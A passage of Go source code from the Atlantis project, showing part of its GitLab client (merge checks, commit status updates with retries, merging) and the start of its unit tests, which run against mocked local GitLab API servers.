fmt.Sprintf("Pipeline %s has status %s", status.Name, status.Status), }, nil } } supportsDetailedMergeStatus, err := g.SupportsDetailedMergeStatus(logger) if err != nil { return models.MergeableStatus{}, err } if supportsDetailedMergeStatus { logger.Debug("Detailed merge status: '%s'", mr.DetailedMergeStatus) } else { logger.Debug("Merge status: '%s'", mr.MergeStatus) //nolint:staticcheck // Need to reference deprecated field for backwards compatibility } res := isMergeable(mr, project, supportsDetailedMergeStatus) if res.IsMergeable { logger.Debug("Merge request is mergeable") } else { logger.Debug("Merge request is not mergeable") } return res, nil } // gitlabIsMergeable a pure function that encapsulates the tricky logic behind determining whether a gitlab MR is mergeable // It doesn't make any external calls and cannot error, so is much easier to test func isMergeable(mr *gitlab.MergeRequest, project *gitlab.Project, supportsDetailedMergeStatus bool) models.MergeableStatus { isPipelineSkipped := false if mr.HeadPipeline != nil { isPipelineSkipped = mr.HeadPipeline.Status == "skipped" } if mr.ApprovalsBeforeMerge > 0 { return models.MergeableStatus{ IsMergeable: false, Reason: fmt.Sprintf("Still require %d approvals", mr.ApprovalsBeforeMerge), } } if !mr.BlockingDiscussionsResolved { return models.MergeableStatus{ IsMergeable: false, Reason: "Blocking discussions unresolved", } } if mr.WorkInProgress { return models.MergeableStatus{ IsMergeable: false, Reason: "Work in progress", } } if isPipelineSkipped && !project.AllowMergeOnSkippedPipeline { return models.MergeableStatus{ IsMergeable: false, Reason: "Pipeline was skipped", } } if supportsDetailedMergeStatus { if mr.DetailedMergeStatus == "mergeable" || mr.DetailedMergeStatus == "ci_still_running" || mr.DetailedMergeStatus == "ci_must_pass" { return models.MergeableStatus{ IsMergeable: true, } } return models.MergeableStatus{ IsMergeable: false, Reason: fmt.Sprintf("Merge status is %s", mr.DetailedMergeStatus), } } mergeStatus := mr.MergeStatus //nolint:staticcheck // Need to reference deprecated field for backwards compatibility if mergeStatus == "can_be_merged" { return models.MergeableStatus{ IsMergeable: true, } } return models.MergeableStatus{ IsMergeable: false, Reason: fmt.Sprintf("Merge status is %s", mergeStatus), } } func (g *Client) SupportsDetailedMergeStatus(logger logging.SimpleLogging) (bool, error) { logger.Debug("Checking if GitLab supports detailed merge status") v, err := g.GetVersion(logger) if err != nil { return false, err } cons, err := version.NewConstraint(">= 15.6") if err != nil { return false, err } return cons.Check(v), nil } // UpdateStatus updates the build status of a commit. func (g *Client) UpdateStatus(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest, state models.CommitStatus, src string, description string, url string) error { gitlabState := gitlab.Pending switch state { case models.PendingCommitStatus: gitlabState = gitlab.Running case models.FailedCommitStatus: gitlabState = gitlab.Failed case models.SuccessCommitStatus: gitlabState = gitlab.Success } logger.Info("Updating GitLab commit status for '%s' to '%s'", src, gitlabState) setCommitStatusOptions := &gitlab.SetCommitStatusOptions{ State: gitlabState, Context: gitlab.Ptr(src), Description: gitlab.Ptr(description), TargetURL: &url, } pipelineMaxAttempts := 2 pipelineRetryer := &backoff.Backoff{ Min: 2 * time.Second, Max: 2 * time.Second, } if g.StatusRetryEnabled { pipelineMaxAttempts = 5 pipelineRetryer = &backoff.Backoff{ Min: 2 * time.Second, Max: 5 * time.Second, Jitter: true, } } var commit *gitlab.Commit var resp *gitlab.Response var err error // Try a couple of times to get the pipeline ID for the commit for { attempt := int(pipelineRetryer.Attempt()) + 1 commit, resp, err = g.Client.Commits.GetCommit(repo.FullName, pull.HeadCommit, nil) if resp != nil { logger.Debug("GET /projects/%s/repository/commits/%d: %d", pull.BaseRepo.ID(), pull.HeadCommit, resp.StatusCode) } if err != nil { return err } if commit.LastPipeline != nil { logger.Info("Pipeline found for commit %s, setting pipeline ID to %d", pull.HeadCommit, commit.LastPipeline.ID) // Set the pipeline ID to the last pipeline that ran for the commit setCommitStatusOptions.PipelineID = gitlab.Ptr(commit.LastPipeline.ID) break } if attempt == pipelineMaxAttempts { // If we've exhausted all retries, set the Ref to the branch name logger.Info("No pipeline found for commit %s, setting Ref to %s", pull.HeadCommit, pull.HeadBranch) setCommitStatusOptions.Ref = gitlab.Ptr(pull.HeadBranch) break } sleep := pipelineRetryer.Duration() logger.Info("No pipeline found for commit %s, retrying in %s", pull.HeadCommit, sleep) time.Sleep(sleep) } var ( maxAttempts = 10 retryer = &backoff.Backoff{ Jitter: true, Max: g.PollingInterval, } ) for { attempt := int(retryer.Attempt()) + 1 logger := logger.With( "attempt", attempt, "max_attempts", maxAttempts, "repo", repo.FullName, "commit", commit.ShortID, "state", state.String(), ) _, resp, err := g.Client.Commits.SetCommitStatus(repo.FullName, pull.HeadCommit, setCommitStatusOptions) if err == nil { if retryer.Attempt() > 0 { logger.Info("GitLab returned HTTP [200 OK] after updating commit status") } return nil } // If the error indicates the status is already 'running', we can treat it as a success. // This can happen with parallel jobs. See https://github.com/runatlantis/atlantis/issues/2685. if gitlabState == gitlab.Running && strings.Contains(err.Error(), "Cannot transition status via :run from :running") { logger.Info("Commit status is already 'running'; ignoring redundant update.") return nil } if attempt == maxAttempts { return fmt.Errorf("failed to update commit status for '%s' @ '%s' to '%s' after %d attempts: %w", repo.FullName, pull.HeadCommit, src, attempt, err) } if resp != nil { logger.Debug("POST /projects/%s/statuses/%s returned: %d", repo.FullName, pull.HeadCommit, resp.StatusCode) // GitLab returns a `409 Conflict` status when the commit pipeline status is being changed/locked by another request, // which is likely to happen if you use [`--parallel-pool-size > 1`] and [`parallel-plan|apply`]. // // The likelihood of this happening is increased when the number of parallel apply jobs is increased. // // Returning the [err] without retrying will permanently leave the GitLab commit status in a "running" state, // which would prevent Atlantis from merging the merge request on [apply]. // // GitLab does not allow merge requests to be merged when the pipeline status is "running." if resp.StatusCode == http.StatusConflict { logger.Warn("GitLab returned HTTP [409 Conflict] when updating commit status") } } sleep := retryer.Duration() logger.With("retry_in", sleep).Warn("GitLab errored when updating commit status: %w", err) time.Sleep(sleep) } } func (g *Client) GetMergeRequest(logger logging.SimpleLogging, repoFullName string, pullNum int) (*gitlab.MergeRequest, error) { logger.Debug("Getting GitLab merge request %d", pullNum) mr, resp, err := g.Client.MergeRequests.GetMergeRequest(repoFullName, pullNum, nil) if resp != nil { logger.Debug("GET /projects/%s/merge_requests/%d returned: %d", repoFullName, pullNum, resp.StatusCode) } return mr, err } func (g *Client) WaitForSuccessPipeline(logger logging.SimpleLogging, ctx context.Context, pull models.PullRequest) { logger.Debug("Waiting for GitLab success pipeline for merge request %d", pull.Num) ctx, cancel := context.WithTimeout(ctx, 10*time.Second) defer cancel() for wait := true; wait; { select { case <-ctx.Done(): // validation check time out cancel() return // ctx.Err() default: mr, _ := g.GetMergeRequest(logger, pull.BaseRepo.FullName, pull.Num) // check if pipeline has a success state to merge if mr.HeadPipeline.Status == "success" { return } time.Sleep(time.Second) } } } // MergePull merges the merge request. func (g *Client) MergePull(logger logging.SimpleLogging, pull models.PullRequest, pullOptions models.PullRequestOptions) error { logger.Debug("Merging GitLab merge request %d", pull.Num) commitMsg := common.AutomergeCommitMsg(pull.Num) mr, err := g.GetMergeRequest(logger, pull.BaseRepo.FullName, pull.Num) if err != nil { return fmt.Errorf("unable to merge merge request, it was not possible to retrieve the merge request: %w", err) } project, resp, err := g.Client.Projects.GetProject(mr.ProjectID, nil) if resp != nil { logger.Debug("GET /projects/%d returned: %d", mr.ProjectID, resp.StatusCode) } if err != nil { return fmt.Errorf("unable to merge merge request, it was not possible to check the project requirements: %w", err) } if project != nil && project.OnlyAllowMergeIfPipelineSucceeds { g.WaitForSuccessPipeline(logger, context.Background(), pull) } _, resp, err = g.Client.MergeRequests.AcceptMergeRequest( pull.BaseRepo.FullName, pull.Num, &gitlab.AcceptMergeRequestOptions{ MergeCommitMessage: &commitMsg, ShouldRemoveSourceBranch: &pullOptions.DeleteSourceBranchOnMerge, }) if resp != nil { logger.Debug("PUT /projects/%s/merge_requests/%d/merge returned: %d", pull.BaseRepo.FullName, pull.Num, resp.StatusCode) } if err != nil { return fmt.Errorf("unable to merge merge request, it may not be in a mergeable state: %w", err) } return nil } // MarkdownPullLink specifies the string used in a pull request comment to reference another pull request. func (g *Client) MarkdownPullLink(pull models.PullRequest) (string, error) { return fmt.Sprintf("!%d", pull.Num), nil } // DiscardReviews discards all reviews on a pull request // This is only available with a bot token and otherwise will return 401 unauthorized // https://docs.gitlab.com/api/merge_request_approvals/#reset-approvals-of-a-merge-request func (g *Client) DiscardReviews(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest) error { logger.Debug("Reset approvals for merge request %d", pull.Num) resp, err := g.Client.MergeRequestApprovals.ResetApprovalsOfMergeRequest(repo.FullName, pull.Num) if resp != nil { logger.Debug("PUT /projects/%s/merge_requests/%d/reset_approvals returned: %d", repo.FullName, pull.Num, resp.StatusCode) } if err != nil { return fmt.Errorf("unable to reset approvals: %w", err) } return nil } // GetVersion returns the version of the Gitlab server this client is using. func (g *Client) GetVersion(logger logging.SimpleLogging) (*version.Version, error) { logger.Debug("Getting GitLab version") versionResp, resp, err := g.Client.Version.GetVersion() if resp != nil { logger.Debug("GET /version returned: %d", resp.StatusCode) } if err != nil { return nil, err } // We need to strip any "-ee" or similar from the resulting version because go-version // uses that in its constraints and it breaks the comparison we're trying // to do for Common Mark. split := strings.Split(versionResp.Version, "-") parsedVersion, err := version.NewVersion(split[0]) if err != nil { return nil, fmt.Errorf("parsing response to /version: %q: %w", versionResp.Version, err) } return parsedVersion, nil } // SupportsCommonMark returns true if the version of Gitlab this client is // using supports the CommonMark markdown format. func (g *Client) SupportsCommonMark() bool { // This function is called even if we didn't construct a gitlab client // so we need to handle that case. if g == nil { return false } return commonMarkSupported.Check(g.Version) } // GetTeamNamesForUser returns the names of the GitLab groups that the user belongs to. // The user membership is checked in each group from configuredTeams, groups // that the Atlantis user doesn't have access to are silently ignored. func (g *Client) GetTeamNamesForUser(logger logging.SimpleLogging, _ models.Repo, user models.User) ([]string, error) { logger.Debug("Getting GitLab group names for user '%s'", user) var teamNames []string users, resp, err := g.Client.Users.ListUsers(&gitlab.ListUsersOptions{Username: &user.Username}) if resp.StatusCode == http.StatusNotFound { return teamNames, nil } if err != nil { return nil, fmt.Errorf("GET /users returned: %d: %w", resp.StatusCode, err) } else if len(users) == 0 { return nil, errors.New("GET /users returned no user") } else if len(users) > 1 { // Theoretically impossible, just being extra safe return nil, errors.New("GET /users returned more than 1 user") } userID := users[0].ID for _, groupName := range g.ConfiguredGroups { membership, resp, err := g.Client.GroupMembers.GetGroupMember(groupName, userID) if resp.StatusCode == http.StatusNotFound || resp.StatusCode == http.StatusForbidden { continue } if err != nil { return nil, fmt.Errorf("GET /groups/%s/members/%d returned: %d: %w", groupName, userID, resp.StatusCode, err) } if resp.StatusCode == http.StatusOK && membership.State == "active" { teamNames = append(teamNames, groupName) } } return teamNames, nil } // GetFileContent a repository file content from VCS (which support fetch a single file from repository) // The first return value indicates whether the repo contains a file or not // if BaseRepo had a file, its content will placed on the second return value func (g *Client) GetFileContent(logger logging.SimpleLogging, repo models.Repo, branch string, fileName string) (bool, []byte, error) { logger.Debug("Getting GitLab file content for file '%s'", fileName) opt := gitlab.GetRawFileOptions{Ref: gitlab.Ptr(branch)} bytes, resp, err := g.Client.RepositoryFiles.GetRawFile(repo.FullName, fileName, &opt) if resp != nil { logger.Debug("GET /projects/%s/repository/files/%s/raw returned: %d", repo.FullName, fileName, resp.StatusCode) } if resp != nil && resp.StatusCode == http.StatusNotFound { return false, []byte{}, nil } if err != nil { return true, []byte{}, err } return true, bytes, nil } func (g *Client) SupportsSingleFileDownload(_ models.Repo) bool { return true } func (g *Client) GetCloneURL(logger logging.SimpleLogging, _ models.VCSHostType, repo string) (string, error) { logger.Debug("Getting GitLab clone URL for repo '%s'", repo) project, resp, err := g.Client.Projects.GetProject(repo, nil) if resp != nil { logger.Debug("GET /projects/%s returned: %d", repo, resp.StatusCode) } if err != nil { return "", err } return project.HTTPURLToRepo, nil } func (g *Client) GetPullLabels(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest) ([]string, error) { logger.Debug("Getting GitLab labels for merge request %d", pull.Num) mr, resp, err := g.Client.MergeRequests.GetMergeRequest(repo.FullName, pull.Num, nil) if resp != nil { logger.Debug("GET /projects/%s/merge_requests/%d returned: %d", repo.FullName, pull.Num, resp.StatusCode) } if err != nil { return nil, err } return mr.Labels, nil } ================================================ FILE: server/events/vcs/gitlab/client_test.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package gitlab import ( "encoding/json" "fmt" "net/http" "net/http/httptest" "os" "path" "strconv" "strings" "testing" "time" "github.com/hashicorp/go-version" "github.com/runatlantis/atlantis/server/events/command" "github.com/runatlantis/atlantis/server/events/models" "github.com/runatlantis/atlantis/server/logging" gitlab "gitlab.com/gitlab-org/api/client-go" . "github.com/runatlantis/atlantis/testing" ) var projectID = 4580910 const gitlabPipelineSuccessMrID = 488598 const updateStatusDescription = "description" const updateStatusTargetUrl = "https://google.com" const updateStatusSrc = "src" const updateStatusHeadBranch = "test" /* UpdateStatus request JSON body object */ type UpdateStatusJsonBody struct { State string `json:"state"` Context string `json:"context"` TargetUrl string `json:"target_url"` Description string `json:"description"` PipelineId int `json:"pipeline_id"` Ref string `json:"ref"` } /* GetCommit response last_pipeline JSON object */ type GetCommitResponseLastPipeline struct { ID int `json:"id"` } /* GetCommit response JSON object */ type GetCommitResponse struct { LastPipeline *GetCommitResponseLastPipeline `json:"last_pipeline"` } /* Empty struct for JSON marshalling */ type EmptyStruct struct{} // Test that the base url gets set properly. func TestNewClient_BaseURL(t *testing.T) { gitlabClientUnderTest = true defer func() { gitlabClientUnderTest = false }() cases := []struct { Hostname string ExpBaseURL string }{ { "gitlab.com", "https://gitlab.com/api/v4/", }, { "custom.domain", "https://custom.domain/api/v4/", }, { "http://custom.domain", "http://custom.domain/api/v4/", }, { "http://custom.domain:8080", "http://custom.domain:8080/api/v4/", }, { "https://custom.domain", "https://custom.domain/api/v4/", }, { "https://custom.domain/", "https://custom.domain/api/v4/", }, { "https://custom.domain/basepath/", "https://custom.domain/basepath/api/v4/", }, } for _, c := range cases { t.Run(c.Hostname, func(t *testing.T) { log := logging.NewNoopLogger(t) client, err := New(c.Hostname, "token", []string{}, log) Ok(t, err) Equals(t, c.ExpBaseURL, client.Client.BaseURL().String()) }) } } // This function gets called even if Client is nil // so we need to test that. func TestClient_SupportsCommonMarkNil(t *testing.T) { var gl *Client Equals(t, false, gl.SupportsCommonMark()) } func TestClient_SupportsCommonMark(t *testing.T) { cases := []struct { version string exp bool }{ { "11.0", false, }, { "11.1", true, }, { "11.2", true, }, { "12.0", true, }, } for _, c := range cases { t.Run(c.version, func(t *testing.T) { vers, err := version.NewVersion(c.version) Ok(t, err) gl := Client{ Version: vers, } Equals(t, c.exp, gl.SupportsCommonMark()) }) } } func TestClient_GetModifiedFiles(t *testing.T) { logger := logging.NewNoopLogger(t) cases := []struct { attempts int }{ {1}, {2}, {3}, } changesPending, err := os.ReadFile("testdata/changes-pending.json") Ok(t, err) changesAvailable, err := os.ReadFile("testdata/changes-available.json") Ok(t, err) for _, c := range cases { t.Run(fmt.Sprintf("Gitlab returns MR changes after %d attempts", c.attempts), func(t *testing.T) { numAttempts := 0 testServer := httptest.NewServer( http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { switch r.RequestURI { case "/api/v4/projects/lkysow%2Fatlantis-example/merge_requests/8312/changes?page=1&per_page=100": w.WriteHeader(200) numAttempts++ if numAttempts < c.attempts { w.Write(changesPending) // nolint: errcheck t.Logf("returning changesPending for attempt %d", numAttempts) return } t.Logf("returning changesAvailable for attempt %d", numAttempts) w.Write(changesAvailable) // nolint: errcheck default: t.Errorf("got unexpected request at %q", r.RequestURI) http.Error(w, "not found", http.StatusNotFound) } })) internalClient, err := gitlab.NewClient("token", gitlab.WithBaseURL(testServer.URL)) Ok(t, err) client := &Client{ Client: internalClient, Version: nil, PollingInterval: time.Second * 0, PollingTimeout: time.Second * 10, } filenames, err := client.GetModifiedFiles( logger, models.Repo{ FullName: "lkysow/atlantis-example", Owner: "lkysow", Name: "atlantis-example", }, models.PullRequest{ Num: 8312, BaseRepo: models.Repo{ FullName: "lkysow/atlantis-example", Owner: "lkysow", Name: "atlantis-example", }, }) Ok(t, err) Equals(t, []string{"somefile.yaml"}, filenames) }) } } func TestClient_MergePull(t *testing.T) { logger := logging.NewNoopLogger(t) mergeSuccess, err := os.ReadFile("testdata/pull-request.json") Ok(t, err) pipelineSuccess, err := os.ReadFile("testdata/pipeline-success.json") Ok(t, err) projectSuccess, err := os.ReadFile("testdata/project-success.json") Ok(t, err) cases := []struct { description string glResponse []byte code int expErr string }{ { "success", mergeSuccess, 200, "", }, { "405", []byte(`{"message":"405 Method Not Allowed"}`), 405, "405 {message: 405 Method Not Allowed}", }, { "406", []byte(`{"message":"406 Branch cannot be merged"}`), 406, "406 {message: 406 Branch cannot be merged}", }, } for _, c := range cases { t.Run(c.description, func(t *testing.T) { testServer := httptest.NewServer( http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { switch r.RequestURI { // The first request should hit this URL. case "/api/v4/projects/runatlantis%2Fatlantis/merge_requests/1/merge": w.WriteHeader(c.code) w.Write(c.glResponse) // nolint: errcheck case "/api/v4/projects/runatlantis%2Fatlantis/merge_requests/1": w.WriteHeader(http.StatusOK) w.Write(pipelineSuccess) // nolint: errcheck case "/api/v4/projects/4580910": w.WriteHeader(http.StatusOK) w.Write(projectSuccess) // nolint: errcheck case "/api/v4/": // Rate limiter requests. w.WriteHeader(http.StatusOK) default: t.Errorf("got unexpected request at %q", r.RequestURI) http.Error(w, "not found", http.StatusNotFound) } })) internalClient, err := gitlab.NewClient("token", gitlab.WithBaseURL(testServer.URL)) Ok(t, err) client := &Client{ Client: internalClient, Version: nil, } err = client.MergePull( logger, models.PullRequest{ Num: 1, BaseRepo: models.Repo{ FullName: "runatlantis/atlantis", Owner: "runatlantis", Name: "atlantis", }, }, models.PullRequestOptions{ DeleteSourceBranchOnMerge: false, }) if c.expErr == "" { Ok(t, err) } else { ErrContains(t, c.expErr, err) ErrContains(t, "unable to merge merge request, it may not be in a mergeable state", err) } }) } } func TestClient_UpdateStatus(t *testing.T) { logger := logging.NewNoopLogger(t) cases := []struct { status models.CommitStatus expState string }{ { models.PendingCommitStatus, "running", }, { models.SuccessCommitStatus, "success", }, { models.FailedCommitStatus, "failed", }, } for _, c := range cases { t.Run(c.expState, func(t *testing.T) { gotRequest := false testServer := httptest.NewServer( http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { switch r.RequestURI { case "/api/v4/projects/runatlantis%2Fatlantis/statuses/sha": gotRequest = true var updateStatusJsonBody UpdateStatusJsonBody err := json.NewDecoder(r.Body).Decode(&updateStatusJsonBody) Ok(t, err) Equals(t, c.expState, updateStatusJsonBody.State) Equals(t, updateStatusSrc, updateStatusJsonBody.Context) Equals(t, updateStatusTargetUrl, updateStatusJsonBody.TargetUrl) Equals(t, updateStatusDescription, updateStatusJsonBody.Description) Equals(t, gitlabPipelineSuccessMrID, updateStatusJsonBody.PipelineId) defer r.Body.Close() // nolint: errcheck setStatusJsonResponse, err := json.Marshal(EmptyStruct{}) Ok(t, err) _, err = w.Write(setStatusJsonResponse) Ok(t, err) case "/api/v4/projects/runatlantis%2Fatlantis/repository/commits/sha": w.WriteHeader(http.StatusOK) getCommitResponse := GetCommitResponse{ LastPipeline: &GetCommitResponseLastPipeline{ ID: gitlabPipelineSuccessMrID, }, } getCommitJsonResponse, err := json.Marshal(getCommitResponse) Ok(t, err) _, err = w.Write(getCommitJsonResponse) Ok(t, err) case "/api/v4/": // Rate limiter requests. w.WriteHeader(http.StatusOK) default: t.Errorf("got unexpected request at %q", r.RequestURI) http.Error(w, "not found", http.StatusNotFound) } })) internalClient, err := gitlab.NewClient("token", gitlab.WithBaseURL(testServer.URL)) Ok(t, err) client := &Client{ Client: internalClient, Version: nil, } repo := models.Repo{ FullName: "runatlantis/atlantis", Owner: "runatlantis", Name: "atlantis", } err = client.UpdateStatus( logger, repo, models.PullRequest{ Num: 1, BaseRepo: repo, HeadCommit: "sha", HeadBranch: updateStatusHeadBranch, }, c.status, updateStatusSrc, updateStatusDescription, updateStatusTargetUrl, ) Ok(t, err) Assert(t, gotRequest, "expected to get the request") }) } } func TestClient_UpdateStatusGetCommitRetryable(t *testing.T) { logger := logging.NewNoopLogger(t) cases := []struct { title string status models.CommitStatus commitsWithNoLastPipeline int expNumberOfRequests int expRefOrPipelineId string }{ // Ensure that GetCommit with last pipeline id sets the pipeline id. { title: "GetCommit with a pipeline id", status: models.PendingCommitStatus, commitsWithNoLastPipeline: 0, expNumberOfRequests: 1, expRefOrPipelineId: "PipelineId", }, // Ensure that 1 x GetCommit with no pipelines sets the pipeline id. { title: "1 x GetCommit with no last pipeline id", status: models.PendingCommitStatus, commitsWithNoLastPipeline: 1, expNumberOfRequests: 2, expRefOrPipelineId: "PipelineId", }, // Ensure that 2 x GetCommit with no last pipeline id sets the ref. { title: "2 x GetCommit with no last pipeline id", status: models.PendingCommitStatus, commitsWithNoLastPipeline: 2, expNumberOfRequests: 2, expRefOrPipelineId: "Ref", }, } for _, c := range cases { t.Run(c.title, func(t *testing.T) { handledNumberOfRequests := 0 testServer := httptest.NewServer( http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { switch r.RequestURI { case "/api/v4/projects/runatlantis%2Fatlantis/statuses/sha": var updateStatusJsonBody UpdateStatusJsonBody err := json.NewDecoder(r.Body).Decode(&updateStatusJsonBody) Ok(t, err) Equals(t, "running", updateStatusJsonBody.State) Equals(t, updateStatusSrc, updateStatusJsonBody.Context) Equals(t, updateStatusTargetUrl, updateStatusJsonBody.TargetUrl) Equals(t, updateStatusDescription, updateStatusJsonBody.Description) if c.expRefOrPipelineId == "Ref" { Equals(t, updateStatusHeadBranch, updateStatusJsonBody.Ref) } else { Equals(t, gitlabPipelineSuccessMrID, updateStatusJsonBody.PipelineId) } defer r.Body.Close() getCommitJsonResponse, err := json.Marshal(EmptyStruct{}) Ok(t, err) _, err = w.Write(getCommitJsonResponse) Ok(t, err) case "/api/v4/projects/runatlantis%2Fatlantis/repository/commits/sha": handledNumberOfRequests++ noCommitLastPipeline := handledNumberOfRequests <= c.commitsWithNoLastPipeline w.WriteHeader(http.StatusOK) if noCommitLastPipeline { getCommitJsonResponse, err := json.Marshal(EmptyStruct{}) Ok(t, err) _, err = w.Write(getCommitJsonResponse) Ok(t, err) } else { getCommitResponse := GetCommitResponse{ LastPipeline: &GetCommitResponseLastPipeline{ ID: gitlabPipelineSuccessMrID, }, } getCommitJsonResponse, err := json.Marshal(getCommitResponse) Ok(t, err) _, err = w.Write(getCommitJsonResponse) Ok(t, err) } case "/api/v4/": // Rate limiter requests. w.WriteHeader(http.StatusOK) default: t.Errorf("got unexpected request at %q", r.RequestURI) http.Error(w, "not found", http.StatusNotFound) } })) internalClient, err := gitlab.NewClient("token", gitlab.WithBaseURL(testServer.URL)) Ok(t, err) client := &Client{ Client: internalClient, Version: nil, PollingInterval: 10 * time.Millisecond, } repo := models.Repo{ FullName: "runatlantis/atlantis", Owner: "runatlantis", Name: "atlantis", } err = client.UpdateStatus( logger, repo, models.PullRequest{ Num: 1, BaseRepo: repo, HeadCommit: "sha", HeadBranch: updateStatusHeadBranch, }, c.status, updateStatusSrc, updateStatusDescription, updateStatusTargetUrl, ) Ok(t, err) Assert(t, c.expNumberOfRequests == handledNumberOfRequests, fmt.Sprintf("expected %d number of requests, but processed %d", c.expNumberOfRequests, handledNumberOfRequests)) }) } } func TestClient_UpdateStatusSetCommitStatusConflictRetryable(t *testing.T) { logger := logging.NewNoopLogger(t) cases := []struct { status models.CommitStatus numberOfConflicts int expNumberOfRequests int expState string expError bool }{ // Ensure that 0 x 409 Conflict succeeds { status: models.PendingCommitStatus, numberOfConflicts: 0, expNumberOfRequests: 1, expState: "running", }, // Ensure that 5 x 409 Conflict still succeeds { status: models.PendingCommitStatus, numberOfConflicts: 5, expNumberOfRequests: 6, expState: "running", }, // Ensure that 10 x 409 Conflict still fail due to running out of retries { status: models.FailedCommitStatus, numberOfConflicts: 100, // anything larger than 10 is fine expNumberOfRequests: 10, expState: "failed", expError: true, }, } for _, c := range cases { t.Run(c.expState, func(t *testing.T) { handledNumberOfRequests := 0 testServer := httptest.NewServer( http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { switch r.RequestURI { case "/api/v4/projects/runatlantis%2Fatlantis/statuses/sha": handledNumberOfRequests++ shouldSendConflict := handledNumberOfRequests <= c.numberOfConflicts var updateStatusJsonBody UpdateStatusJsonBody err := json.NewDecoder(r.Body).Decode(&updateStatusJsonBody) Ok(t, err) Equals(t, c.expState, updateStatusJsonBody.State) Equals(t, updateStatusSrc, updateStatusJsonBody.Context) Equals(t, updateStatusTargetUrl, updateStatusJsonBody.TargetUrl) Equals(t, updateStatusDescription, updateStatusJsonBody.Description) defer r.Body.Close() // nolint: errcheck if shouldSendConflict { w.WriteHeader(http.StatusConflict) } getCommitJsonResponse, err := json.Marshal(EmptyStruct{}) Ok(t, err) _, err = w.Write(getCommitJsonResponse) Ok(t, err) case "/api/v4/projects/runatlantis%2Fatlantis/repository/commits/sha": w.WriteHeader(http.StatusOK) getCommitResponse := GetCommitResponse{ LastPipeline: &GetCommitResponseLastPipeline{ ID: gitlabPipelineSuccessMrID, }, } getCommitJsonResponse, err := json.Marshal(getCommitResponse) Ok(t, err) _, err = w.Write(getCommitJsonResponse) Ok(t, err) case "/api/v4/": // Rate limiter requests. w.WriteHeader(http.StatusOK) default: t.Errorf("got unexpected request at %q", r.RequestURI) http.Error(w, "not found", http.StatusNotFound) } })) internalClient, err := gitlab.NewClient("token", gitlab.WithBaseURL(testServer.URL)) Ok(t, err) client := &Client{ Client: internalClient, Version: nil, PollingInterval: 10 * time.Millisecond, } repo := models.Repo{ FullName: "runatlantis/atlantis", Owner: "runatlantis", Name: "atlantis", } err = client.UpdateStatus( logger, repo, models.PullRequest{ Num: 1, BaseRepo: repo, HeadCommit: "sha", HeadBranch: "test", }, c.status, updateStatusSrc, updateStatusDescription, updateStatusTargetUrl, ) if c.expError { ErrContains(t, "failed to update commit status for 'runatlantis/atlantis' @ 'sha' to 'src' after 10 attempts", err) ErrContains(t, "409", err) } else { Ok(t, err) } Assert(t, c.expNumberOfRequests == handledNumberOfRequests, fmt.Sprintf("expected %d number of requests, but processed %d", c.expNumberOfRequests, handledNumberOfRequests)) }) } } func TestClient_UpdateStatusWithRetryEnabled(t *testing.T) { logger := logging.NewNoopLogger(t) cases := []struct { name string nullPipelineResponses int expGetCommitRequests int expPipelineIdSet bool }{ { name: "waits up to 3 attempts for pipeline", nullPipelineResponses: 1, expGetCommitRequests: 2, expPipelineIdSet: true, }, { name: "gives up after 3 attempts and uses ref", nullPipelineResponses: 10, expGetCommitRequests: 5, expPipelineIdSet: false, }, } for _, c := range cases { t.Run(c.name, func(t *testing.T) { getCommitRequests := 0 testServer := httptest.NewServer( http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { switch r.RequestURI { case "/api/v4/projects/runatlantis%2Fatlantis/repository/commits/sha": getCommitRequests++ w.WriteHeader(http.StatusOK) var getCommitResponse GetCommitResponse if getCommitRequests > c.nullPipelineResponses { getCommitResponse = GetCommitResponse{ LastPipeline: &GetCommitResponseLastPipeline{ ID: gitlabPipelineSuccessMrID, }, } } getCommitJsonResponse, err := json.Marshal(getCommitResponse) Ok(t, err) _, err = w.Write(getCommitJsonResponse) Ok(t, err) case "/api/v4/projects/runatlantis%2Fatlantis/statuses/sha": var updateStatusJsonBody UpdateStatusJsonBody err := json.NewDecoder(r.Body).Decode(&updateStatusJsonBody) Ok(t, err) defer r.Body.Close() if c.expPipelineIdSet { Equals(t, gitlabPipelineSuccessMrID, updateStatusJsonBody.PipelineId) Equals(t, "", updateStatusJsonBody.Ref) } else { Equals(t, 0, updateStatusJsonBody.PipelineId) Equals(t, updateStatusHeadBranch, updateStatusJsonBody.Ref) } w.WriteHeader(http.StatusOK) setStatusJsonResponse, err := json.Marshal(EmptyStruct{}) Ok(t, err) _, err = w.Write(setStatusJsonResponse) Ok(t, err) case "/api/v4/": w.WriteHeader(http.StatusOK) default: t.Errorf("got unexpected request at %q", r.RequestURI) http.Error(w, "not found", http.StatusNotFound) } })) defer testServer.Close() internalClient, err := gitlab.NewClient("token", gitlab.WithBaseURL(testServer.URL)) Ok(t, err) client := &Client{ Client: internalClient, Version: nil, StatusRetryEnabled: true, PollingInterval: 10 * time.Millisecond, } repo := models.Repo{ FullName: "runatlantis/atlantis", Owner: "runatlantis", Name: "atlantis", } err = client.UpdateStatus( logger, repo, models.PullRequest{ Num: 1, BaseRepo: repo, HeadCommit: "sha", HeadBranch: updateStatusHeadBranch, }, models.PendingCommitStatus, updateStatusSrc, updateStatusDescription, updateStatusTargetUrl, ) Ok(t, err) Equals(t, c.expGetCommitRequests, getCommitRequests) }) } } func mustReadFile(t *testing.T, filename string) []byte { ret, err := os.ReadFile(filename) Ok(t, err) return ret } func TestClient_PullIsMergeable(t *testing.T) { logger := logging.NewNoopLogger(t) gitlabClientUnderTest = true gitlabVersionOver15_6 := "15.8.3-ee" gitlabVersion15_6 := "15.6.0-ee" gitlabVersionUnder15_6 := "15.3.2-ce" gitlabServerVersions := []string{gitlabVersionOver15_6, gitlabVersion15_6, gitlabVersionUnder15_6} vcsStatusName := "atlantis-test" defaultMr := 1 noHeadPipelineMR := 2 ciMustPassMR := 3 needRebaseMR := 4 remainingApprovalsMR := 5 blockingDiscussionsUnresolvedMR := 6 workInProgressMR := 7 pipelineSkippedMR := 8 // Any IsMergeable logic that depends on data from the project itself is too difficult to test here. // See 